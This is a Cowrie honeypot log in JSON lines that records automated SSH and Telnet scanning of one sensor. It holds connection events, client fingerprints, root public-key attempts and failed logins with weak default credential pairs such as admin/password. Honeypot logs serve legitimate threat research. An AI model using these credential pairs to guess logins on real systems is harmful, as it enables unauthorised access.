{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:13.190147Z","src_ip":"31.40.204.166","session":"23576d96f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:14.384133Z","src_ip":"31.40.204.166","session":"23576d96f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.97536563873291,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:19.473400Z","src_ip":"152.42.224.71","session":"038d73eb4097","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61785,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a94c3c4c63","protocol":"ssh","message":"New connection: 152.42.212.128:61785 (159.203.135.109:22) [session: 28a94c3c4c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:20.328727Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:20.333744Z","src_ip":"152.42.212.128","session":"28a94c3c4c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:20.338391Z","src_ip":"152.42.212.128","session":"28a94c3c4c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.74616503715515,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:22.675004Z","src_ip":"152.42.224.71","session":"01e1638af238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42400,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c96f33e2a5c","protocol":"ssh","message":"New connection: 31.40.204.166:42400 (159.203.135.109:22) [session: 7c96f33e2a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:25.899984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:25.904465Z","src_ip":"31.40.204.166","session":"7c96f33e2a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:26.081083Z","src_ip":"31.40.204.166","session":"7c96f33e2a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:27.091275Z","src_ip":"31.40.204.166","session":"7c96f33e2a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:28.217777Z","src_ip":"31.40.204.166","session":"7c96f33e2a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.55.64","src_port":52376,"dst_ip":"10.17.0.5","dst_port":23,"session":"273061c4d5f8","protocol":"telnet","message":"New connection: 109.172.55.64:52376 (10.17.0.5:23) [session: 273061c4d5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:32.353900Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.238.126.207","src_port":43354,"dst_ip":"10.17.0.5","dst_port":22,"session":"136abae003da","protocol":"ssh","message":"New connection: 195.238.126.207:43354 (10.17.0.5:22) [session: 136abae003da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:32.950506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:32.955050Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:33.078608Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:d9:ca:73:91:3a:90:cc:1f:17:4f:9b:89:37:0a:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvz2rZZz2N+hnGhM07f9XNERUmdruduFZYE5UWGt833xNnNVEJmsXBUyQlqxkkbPf4uOd/iHatqQUNFNOBeX7NQm1JIzlWnEbgMxyF/dg1xIIhtOCqKL48VJOJESd61GRAbzM6P9EO+uz7g86eVoiFaqoiyF7LLQrijUfkMq9ZiSBtsP6rt6+VwLF6PKwWWsBojmuB1dyQTHmhhiayAn6blU0Ps952MAI6US2R9ZCvWvCZZ8Bf6w1lC+Sm6N/QQ4omWusp/XAvf9KzUeV0UYTkJiyTV6OLJNtsUzU4xB1t93CDXQdsDuQq/1hDta47MM6lmnYNdwSHtOIG/voA2QUoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:d9:ca:73:91:3a:90:cc:1f:17:4f:9b:89:37:0a:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:33.663419Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:d9:ca:73:91:3a:90:cc:1f:17:4f:9b:89:37:0a:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvz2rZZz2N+hnGhM07f9XNERUmdruduFZYE5UWGt833xNnNVEJmsXBUyQlqxkkbPf4uOd/iHatqQUNFNOBeX7NQm1JIzlWnEbgMxyF/dg1xIIhtOCqKL48VJOJESd61GRAbzM6P9EO+uz7g86eVoiFaqoiyF7LLQrijUfkMq9ZiSBtsP6rt6+VwLF6PKwWWsBojmuB1dyQTHmhhiayAn6blU0Ps952MAI6US2R9ZCvWvCZZ8Bf6w1lC+Sm6N/QQ4omWusp/XAvf9KzUeV0UYTkJiyTV6OLJNtsUzU4xB1t93CDXQdsDuQq/1hDta47MM6lmnYNdwSHtOIG/voA2QUoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:33.666149Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:58:12:0c:b4:cd:9b:98:3d:27:00:07:7d:0c:e4:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu46F18irhbJyJS7GcyGxWcEXYCm01sVrTFBaJCts4RA6AZ1wl4lIf/bZhhPUlCt9pwVZXPxhui+ejBmu59y3AZy4T5xh8FYi03CTnq84yM56zkm8w3R3tOV5D9TjP63kpykjRsK2A2BPhcWAgfdwXC3dXmoQARR8B39lWVqMMxtNvWsiNwxXNNMWsyoIKVmy2aCFFc1y2FHysW9OXF6isCvcFtYxdZk4mqC1Hy0mvmOLz8FNR81C3OYrJlV9C2YsMZo6Yq7zsuRZfGIzrpgNV7A39HDzOxDPGJHgD+mjjruZnRaX95arfpOoAfU/RogPrfAXmlRMseZmgX3LB5GfkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:58:12:0c:b4:cd:9b:98:3d:27:00:07:7d:0c:e4:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:33.790265Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:58:12:0c:b4:cd:9b:98:3d:27:00:07:7d:0c:e4:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu46F18irhbJyJS7GcyGxWcEXYCm01sVrTFBaJCts4RA6AZ1wl4lIf/bZhhPUlCt9pwVZXPxhui+ejBmu59y3AZy4T5xh8FYi03CTnq84yM56zkm8w3R3tOV5D9TjP63kpykjRsK2A2BPhcWAgfdwXC3dXmoQARR8B39lWVqMMxtNvWsiNwxXNNMWsyoIKVmy2aCFFc1y2FHysW9OXF6isCvcFtYxdZk4mqC1Hy0mvmOLz8FNR81C3OYrJlV9C2YsMZo6Yq7zsuRZfGIzrpgNV7A39HDzOxDPGJHgD+mjjruZnRaX95arfpOoAfU/RogPrfAXmlRMseZmgX3LB5GfkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:33.794724Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:ce:7e:1e:81:8d:0f:b9:90:ae:f3:e1:c1:31:ff:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0NAqtElyLjby5DQt1/UPWCrqZSeBEQTczCRb14vTAeHopsr38YS/E+loCSGYAUaN+JCtOnoSI6eKJXPZnQiSRDbmimE1Ut+FZdsD0cb37nDahKqBJvfwEZY0iPs0BtpSIuxuFosSE+fhiVc0gGtG1Qm7k0A7aLx/JzaZiizvfYaMhaYiTQv5ugpZLURQSmpY4YM7vIqL4Ts9feglmkTuHnMKNnwiv0f3pyl2gdsyJVg1nAj2EynElA46gC8F4F/nXKVwwf2ccwSbhO6vsaYPG80M0qwrbmmp7EcEjZnBEDvdu81nqsKEO9UGW1QCXufLVnUA2SDT+BDk6xmD9kf1Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:ce:7e:1e:81:8d:0f:b9:90:ae:f3:e1:c1:31:ff:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:33.919028Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:ce:7e:1e:81:8d:0f:b9:90:ae:f3:e1:c1:31:ff:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0NAqtElyLjby5DQt1/UPWCrqZSeBEQTczCRb14vTAeHopsr38YS/E+loCSGYAUaN+JCtOnoSI6eKJXPZnQiSRDbmimE1Ut+FZdsD0cb37nDahKqBJvfwEZY0iPs0BtpSIuxuFosSE+fhiVc0gGtG1Qm7k0A7aLx/JzaZiizvfYaMhaYiTQv5ugpZLURQSmpY4YM7vIqL4Ts9feglmkTuHnMKNnwiv0f3pyl2gdsyJVg1nAj2EynElA46gC8F4F/nXKVwwf2ccwSbhO6vsaYPG80M0qwrbmmp7EcEjZnBEDvdu81nqsKEO9UGW1QCXufLVnUA2SDT+BDk6xmD9kf1Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:33.922719Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:03:53:be:38:00:49:4a:32:1c:77:3d:f9:a2:43:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzYEFCbIJlHR/uW2LyQvATX/786Hkd0zCTbSrVljFhRno/7TEJSAM+jcitWmI9O+YrnUByCc9OH2JRFmL4VLFWR4OyTb6Ks6Z+UbDnkzFZWd9cOWMFHwX6LpM3t+O2c7h27TA2Yr1+nFthtciwehMSS/d6ZuC9jX19QaQx5d5REcvAdKWCRrOGgZFX6O7iEQMkTZ99c7+A9jyDEtyS66F9Y+JXM+BQS6QGUNDRFN5A/6X6hAmbZFTS+elDNcd0ds1TXiK162KAiSUPEtAUfhn1wtQ1xB1Cdda09Lab3ajaeRgVcnx4pP+TTg9sCu2fkilgbcTZ+QmNcPGVLBNpgUUj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:03:53:be:38:00:49:4a:32:1c:77:3d:f9:a2:43:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:34.044474Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:03:53:be:38:00:49:4a:32:1c:77:3d:f9:a2:43:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzYEFCbIJlHR/uW2LyQvATX/786Hkd0zCTbSrVljFhRno/7TEJSAM+jcitWmI9O+YrnUByCc9OH2JRFmL4VLFWR4OyTb6Ks6Z+UbDnkzFZWd9cOWMFHwX6LpM3t+O2c7h27TA2Yr1+nFthtciwehMSS/d6ZuC9jX19QaQx5d5REcvAdKWCRrOGgZFX6O7iEQMkTZ99c7+A9jyDEtyS66F9Y+JXM+BQS6QGUNDRFN5A/6X6hAmbZFTS+elDNcd0ds1TXiK162KAiSUPEtAUfhn1wtQ1xB1Cdda09Lab3ajaeRgVcnx4pP+TTg9sCu2fkilgbcTZ+QmNcPGVLBNpgUUj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:34.049396Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:3b:cf:b3:4f:8d:49:3b:2d:16:a3:0a:21:4c:9b:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5lRtn7s0K0GUCwBjNRvkO00Elrg1gm+3xjxlhSbmEyevjDIS/hdMJvyH34XZZvRgC+4dTsLSCKkU6ix+nkPhYAvDAqLGXIHg4GYJmSF42fvffnPxWRXTStJCLzMf2tADSD17fa2fnfhFAblHqYIz64pB5vZPLAbKcsgr4rbwHXSYOVvBvbJ9W8D2tPnV1pRW4dyFAcMB63hDgxIUKND14KJvsBRS4CFSVNFR4IWfXHxkWZE+eiboqbmOcFlVUlhqtLMJXkycMe5JNHl8RFAq/kkhusuhFD0G4Tu8d5MVtXBE02woabU/aXhCiQhbQedT2N1YYnh7M5UuhlzSirLkZm117UvuSuUhvrezf6jd8rSWGPGm/G5rQUVedlRdcTViGY4iXmPQEejSiMlB/a5U7aeZ/1dtVwIAczB74E10JCDfaB2V00ai7WE3GBFhoqsYJ7MqG+FOcudZo8+0quKNKDgXbsEJXYJSTTb3G1dH8YuS0qU5GM8R9lCPSHJpwRDYEx2nwQr2tnuv4QeQ2eBWE0i1g7zXWdJg5tPEMrrfv3XaGhwCxK6JsEeDHVcwx4qV9xLepEiOq/Mb/gsvlbDWhLv3JKjrUWHaA6u5irOpOF9wYgJaTkqJ9n3FKKs7UpNnJE3FKoHHD0MWN6crlFrt2SAfeGqAkUOA9C8DwLtYD8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:3b:cf:b3:4f:8d:49:3b:2d:16:a3:0a:21:4c:9b:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:34.171432Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:3b:cf:b3:4f:8d:49:3b:2d:16:a3:0a:21:4c:9b:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5lRtn7s0K0GUCwBjNRvkO00Elrg1gm+3xjxlhSbmEyevjDIS/hdMJvyH34XZZvRgC+4dTsLSCKkU6ix+nkPhYAvDAqLGXIHg4GYJmSF42fvffnPxWRXTStJCLzMf2tADSD17fa2fnfhFAblHqYIz64pB5vZPLAbKcsgr4rbwHXSYOVvBvbJ9W8D2tPnV1pRW4dyFAcMB63hDgxIUKND14KJvsBRS4CFSVNFR4IWfXHxkWZE+eiboqbmOcFlVUlhqtLMJXkycMe5JNHl8RFAq/kkhusuhFD0G4Tu8d5MVtXBE02woabU/aXhCiQhbQedT2N1YYnh7M5UuhlzSirLkZm117UvuSuUhvrezf6jd8rSWGPGm/G5rQUVedlRdcTViGY4iXmPQEejSiMlB/a5U7aeZ/1dtVwIAczB74E10JCDfaB2V00ai7WE3GBFhoqsYJ7MqG+FOcudZo8+0quKNKDgXbsEJXYJSTTb3G1dH8YuS0qU5GM8R9lCPSHJpwRDYEx2nwQr2tnuv4QeQ2eBWE0i1g7zXWdJg5tPEMrrfv3XaGhwCxK6JsEeDHVcwx4qV9xLepEiOq/Mb/gsvlbDWhLv3JKjrUWHaA6u5irOpOF9wYgJaTkqJ9n3FKKs7UpNnJE3FKoHHD0MWN6crlFrt2SAfeGqAkUOA9C8DwLtYD8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:34.175687Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:34.298870Z","src_ip":"195.238.126.207","session":"136abae003da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.67127871513367,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:34.719785Z","src_ip":"152.42.224.71","session":"01d47a368de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52118,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad0fd89951c","protocol":"telnet","message":"New connection: 152.42.224.71:52118 (10.17.0.5:23) [session: 8ad0fd89951c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:35.424738Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52104,"dst_ip":"10.17.0.5","dst_port":23,"session":"c69dde109337","protocol":"telnet","message":"New connection: 152.42.224.71:52104 (10.17.0.5:23) [session: c69dde109337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:35.946073Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45132,"dst_ip":"159.203.135.109","dst_port":22,"session":"373c81a10421","protocol":"ssh","message":"New connection: 31.40.204.166:45132 (159.203.135.109:22) [session: 373c81a10421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:36.787659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:36.799561Z","src_ip":"31.40.204.166","session":"373c81a10421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:36.989042Z","src_ip":"31.40.204.166","session":"373c81a10421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:37.512543Z","src_ip":"31.40.204.166","session":"373c81a10421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.51.239.147","src_port":36113,"dst_ip":"159.203.135.109","dst_port":23,"session":"530c9690da7c","protocol":"telnet","message":"New connection: 101.51.239.147:36113 (159.203.135.109:23) [session: 530c9690da7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:37.581919Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.251.48.131","src_port":5074,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e35c5822c3","protocol":"telnet","message":"New connection: 186.251.48.131:5074 (159.203.135.109:23) [session: b1e35c5822c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:37.973404Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:38.798373Z","src_ip":"31.40.204.166","session":"373c81a10421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.55445337295532,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:39.292063Z","src_ip":"152.42.224.71","session":"5008e64b32ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51164,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d82dad234a6","protocol":"telnet","message":"New connection: 152.42.224.71:51164 (10.17.0.5:23) [session: 1d82dad234a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:42.208659Z"}
